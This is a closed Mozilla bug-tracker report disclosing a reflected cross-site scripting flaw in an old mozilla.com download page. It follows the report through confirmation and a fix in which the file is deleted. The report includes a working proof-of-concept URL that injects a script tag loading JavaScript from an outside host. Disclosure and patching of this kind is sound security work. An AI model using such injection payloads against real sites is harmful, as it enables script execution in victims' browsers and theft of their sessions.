Closed Bug 619327 Opened 15 years ago Closed 15 years ago

Categories

(www.mozilla.org :: General, defect)

x86_64
Linux
defect
Not set
normal

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: ricky, Unassigned)

Details

(Keywords: reporter-external, wsec-xss, Whiteboard: [infrasec:xss][ws:high])

Attachments

(1 file)

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 Build Identifier: https://www.mozilla.com/en-US/products/download2.html outputs unsanitized user input, making it vulnerable to XSS. For example: https://www.mozilla.com/en-US/products/download2.html?lang=%27%22%3E%3Cscript+src=%22http://ha.ckers.org/xss.js%22%3E&os=linux&product=firefox Reproducible: Always
Attached patch Proposed patch. — — Splinter Review
The attached patch against mozilla.com trunk is an (untested) attempt to fix this. It uses json_encode to encode the product link, which looks to be only available on php 5.2.0. Actually, I notice that download2.html hasn't been touched in 3 years in SVN - if it isn't needed anymore, it'd probably be easiest to just delete it.
confirmed, CCing Alex. Thanks for noticing Ricky!
Status: UNCONFIRMED → NEW
Ever confirmed: true
This file should indeed have been deleted 3 years ago, done in trunk in r79447 and on production in r79449. Marking fixed.
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Whiteboard: [infrasec:xss][ws:high]
Component: www.mozilla.org/firefox → www.mozilla.org
Component: www.mozilla.org → General
Product: Websites → www.mozilla.org
Adding keywords to bugs for metrics, no action required. Sorry about bugmail spam.
Keywords: wsec-xss
Flags: sec-bounty+
Group: websites-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: